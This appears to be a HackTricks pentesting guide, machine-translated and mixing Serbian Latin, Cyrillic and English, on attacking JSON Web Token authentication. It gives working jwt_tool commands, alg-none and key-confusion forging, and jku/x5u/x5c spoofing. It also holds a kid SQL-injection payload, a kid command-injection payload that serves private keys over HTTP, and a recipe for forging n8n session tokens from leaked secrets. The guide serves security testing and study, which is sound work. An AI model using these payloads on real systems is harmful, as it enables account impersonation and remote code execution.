JWT Ranjivosti (Json Web Tokens)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Deo ovog posta zasnovan je na sjajnom postu: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor sjajnog alata za pentesting JWTs https://github.com/ticarpi/jwt_tool
Brzi rezultati
Pokrenite jwt_tool u režimu All Tests! i čekajte zelene linije
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Ako imate sreće, alat će pronaći neki slučaj gde web aplikacija pogrešno proverava JWT:
.png)
Zatim možete pretražiti request u svom proxy ili dump-ovati korišćen JWT za taj request koristeći jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Tamper data without modifying anything
You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to “admin” for example.
Is the token checked?
- Poruka o grešci sugeriše da se vrši verifikacija; obratite pažnju na osetljive detalje u verbose greškama.
- Promena na vraćenoj stranici takođe ukazuje na verifikaciju.
- Nema promene sugeriše da nema verifikacije; tada eksperimentišite sa tamperovanjem payload claim-ova.
Origin
Važno je utvrditi da li je token generisan server-side ili client-side pregledom istorije zahteva u proxy-ju.
- Tokeni koji su prvi put viđeni sa client-side sugerišu da bi ključ mogao biti izložen client-side kodu, što zahteva dalju istragu.
- Tokeni koji potiču server-side ukazuju na sigurniji proces.
Duration
Proverite da li token traje duže od 24h… možda nikad ne ističe. Ako postoji “exp” polje, proverite da li server pravilno obrađuje to polje.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:
- Leak the app key (e.g.,
encryptionKey) from a config file. - Leak the user table to obtain
email,password_hash, anduser_id. - Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Ubaci potpisani token u session cookie (npr.
n8n-auth) kako bi se predstavljao kao korisnik/admin nalog čak i ako je hash lozinke zaštićen salt-om.
Izmeni algoritam na None
Podesi korišćeni algoritam na “None” i ukloni deo sa potpisom.
Koristi Burp ekstenziju nazvanu “JSON Web Token” da probaš ovu ranjivost i da menjaš različite vrednosti unutar JWT (pošalji zahtev u Repeater i u tabu “JSON Web Token” možeš izmeniti vrednosti tokena. Takođe možeš izabrati da vrednost polja “Alg” postaviš na “None”).
Promeni algoritam RS256 (asimetrični) u HS256 (simetrični) (CVE-2016-5431/CVE-2016-10555)
Algoritam HS256 koristi secret key da potpiše i verifikuje svaku poruku.
Algoritam RS256 koristi private key da potpiše poruku i public key za autentifikaciju.
Ako promeniš algoritam sa RS256 na HS256, back end kod može koristiti public key kao secret key i zatim koristiti HS256 algoritam za verifikaciju potpisa.
Tada, koristeći public key i menjajući RS256 u HS256, mogli bismo kreirati validan potpis. Sertifikat web servera možeš preuzeti izvršavanjem sledećeg:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Novi javni ključ u headeru
Napadač ubacuje novi ključ u header tokena, a server koristi taj novi ključ za verifikaciju potpisa (CVE-2018-0114).
Ovo se može uraditi pomoću “JSON Web Tokens” Burp ekstenzije.
(Pošaljite zahtev u Repeater, u tabu JSON Web Token izaberite “CVE-2018-0114” i pošaljite zahtev).
JWKS Spoofing
Uputstva opisuju metodu za procenu sigurnosti JWT tokena, posebno onih koji koriste “jku” header claim. Ovaj claim treba da vodi ka JWKS (JSON Web Key Set) fajlu koji sadrži javni ključ neophodan za verifikaciju tokena.
-
Procena tokena sa “jku” headerom:
-
Proverite URL iz “jku” claim-a da biste se uverili da vodi do odgovarajućeg JWKS fajla.
-
Izmenite vrednost “jku” u tokenu da upućuje na kontrolisani web servis, što omogućava posmatranje saobraćaja.
-
Praćenje HTTP interakcije:
-
Posmatranje HTTP zahteva ka vašem URL-u ukazuje na pokušaje servera da preuzme ključeve sa linka koji ste naveli.
-
Kada koristite
jwt_toolza ovaj proces, važno je ažurirati fajljwtconf.inisa lokacijom vašeg JWKS-a kako biste omogućili testiranje. -
Komanda za
jwt_tool: -
Execute the following command to simulate the scenario with
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Pregled problema sa kid
Opcioni header claim poznat kao kid koristi se za identifikaciju konkretnog ključa, što je posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ovaj claim pomaže pri izboru odgovarajućeg ključa za verifikaciju potpisa tokena.
Otkrivanje ključa pomoću kid
Kada je kid claim prisutan u headeru, preporučuje se pretražiti web direktorijum za odgovarajući fajl ili njegove varijacije. Na primer, ako je navedeno "kid":"key/12345", treba pretražiti fajlove /key/12345 i /key/12345.pem u web root-u.
Path Traversal with “kid”
The kid claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It’s feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the kid value to target specific files or services. Tampering with the JWT to change the kid value while retaining the original signature can be achieved using the -T flag in jwt_tool, as demonstrated below:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ciljanjem fajlova sa predvidivim sadržajem moguće je falsifikovati validan JWT. Na primer, fajl /proc/sys/kernel/randomize_va_space na Linux sistemima, za koji je poznato da sadrži vrednost 2, može se koristiti u kid parametru sa 2 kao simetričnom lozinkom za generisanje JWT.
SQL Injection via “kid”
Ako se sadržaj kid claim-a koristi za dobijanje lozinke iz baze podataka, SQL injection može biti omogućen modifikovanjem kid payload-a. Primer payload-a koji koristi SQL injection da izmeni proces potpisivanja JWT-a uključuje:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ova izmena forsira upotrebu poznatog secret ključa, ATTACKER, za potpisivanje JWT-a.
OS Injection through “kid”
Scenarijo u kojem kid parametar specificira putanju do fajla koja se koristi u kontekstu izvršavanja komandi mogao bi dovesti do Remote Code Execution (RCE) ranjivosti. Ubacivanjem komandi u kid parametar moguće je izložiti privatne ključeve. Primer payload-a za ostvarenje RCE i izlaganje ključeva je:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
Ako token koristi “jku” Header claim onda proveri dati URL. To bi trebalo da pokazuje na URL koji sadrži JWKS fajl koji drži Public Key za verifikaciju tokena. Izmeni token da jku vrednost pokazuje na web servis čiji saobraćaj možeš da pratiš.
Prvo je potrebno kreirati novi sertifikat sa novim privatnim i javnim ključevima
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Zatim možete, na primer, koristiti jwt.io da kreirate novi JWT sa kreiranim public and private keys i tako što ćete parametar jku usmeriti na kreirani certificate. Da biste kreirali važeći jku certificate, možete preuzeti originalni i promeniti potrebne parametre.
Parametre “e” i “n” iz public certificate-a možete dobiti koristeći:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. URI koji pokazuje na skup javnih X.509 sertifikata (standard formata sertifikata) enkodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji je korišćen za potpisivanje ovog JWT-a. Naredni sertifikati potpisuju prethodni, čime se kompletira lanac sertifikata. X.509 je definisan u RFC 52807. Za prenos sertifikata potrebna je transportna sigurnost.
Pokušajte da izmenite ovaj header u URL pod vašom kontrolom i proverite da li će biti primljen neki zahtev. U tom slučaju možete manipulisati JWT-om.
Da biste falsifikovali novi token koristeći sertifikat pod vašom kontrolom, treba da kreirate sertifikat i izvučete javni i privatni ključeve:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Zatim možete, na primer, koristiti jwt.io da kreirate novi JWT sa kreiranim public i private keys i usmeravanjem parametra x5u na kreirani .crt sertifikat.
.png)
Takođe možete zloupotrebiti obe ove vulns for SSRFs.
x5c
Ovaj parametar može sadržati certificate in base64:
.png)
Ako napadač generates a self-signed certificate i kreira forged token koristeći odgovarajući private key i zameni vrednost parametra “x5c” novokreiranim certificate-om i izmeni ostale parametre, naime n, e i x5t, tada će falsifikovani token biti prihvaćen od strane servera.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ugrađeni javni ključ (CVE-2018-0114)
Ako JWT sadrži ugrađeni javni ključ kao u sledećem scenariju:
.png)
Korišćenjem sledećeg nodejs skripta moguće je generisati javni ključ iz tih podataka:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Moguće je generisati novi private/public key, ugraditi novi public key u token i iskoristiti ga za generisanje novog signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Možete dobiti “n” i “e” koristeći ovaj nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Na kraju, koristeći javni i privatni ključ i nove “n” i “e” vrednosti možete koristiti jwt.io да фалсификујете novi важећи JWT са било којим информацијама.
ES256: Otkrivanje privatnog ključa istim nonce-om
Ako neke aplikacije koriste ES256 и користе исти nonce за генерисање два JWT-а, приватни кључ се може вратити.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
Meђутим, замислите ситуацију у којој је максимална дужина ID-а 4 (0001-9999). Захтеви 0001 и 10001 ће користити исти ID. Дакле, ако backend инкрементира ID на сваком захтеву, ово можете злоупотребити да бисте replay a request (потребно је послати 10000 захтева између сваког успешног replay-а).
Registrovani JWT claims
Ostali напади
Cross-service Relay Attacks
Уочено је да неке web апликације зависе од поузданог JWT сервиса за генерисање и управљање својим токенима. Забележени су случајеви где је token, генерисан за једног клијента од стране JWT сервиса, прихваћен од стране другог клијента истог JWT сервиса. Ако се примети издавање или обнављање JWT-а преко third-party сервиса, треба испитати могућност регистрације (signing up) налога на другом клијенту те услуге користећи исти username/email. Након тога треба покушати да се replay-ује добијени token у захтеву ка target-у да се види да ли ће бити прихваћен.
- Прихватање вашег token-а може указивати на критичан проблем, потенцијално омогућавајући spoofing било ког корисничког налога. Међутим, треба напоменути да би могла бити потребна дозвола за шире тестирање ако се региструјете на third-party апликацији, јер то може упасти у правну сиву зону.
Provera isteka tokena
Провера истека token-а врши се коришћењем “exp” Payload claima. С обзиром да се JWT често користе без session информација, потребно је пажљиво руковање. У многим случајевима, хватање и replay туђег JWT-а може омогућити импersoнацију тог корисника. JWT RFC препоручује ублажавање replay напада коришћењем “exp” claima за подешавање времена истека token-а. Даље, важно је да апликација имплементира релевантне провере како би обрадила ову вредност и одбацила истекле токене. Ако token укључује “exp” claim и временска ограничења тестирања то дозвољавају, препоручује се чување token-а и његово replay-овање након што прође време истека. Садржај token-а, укључујући парсирање timestamp-а и проверу истека (timestamp у UTC), може се прочитати коришћењем jwt_tool’s -R flag.
- Постоји безбедносни ризик ако апликација и даље валидаје token, јер то може имплицирати да token никада не истиче.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


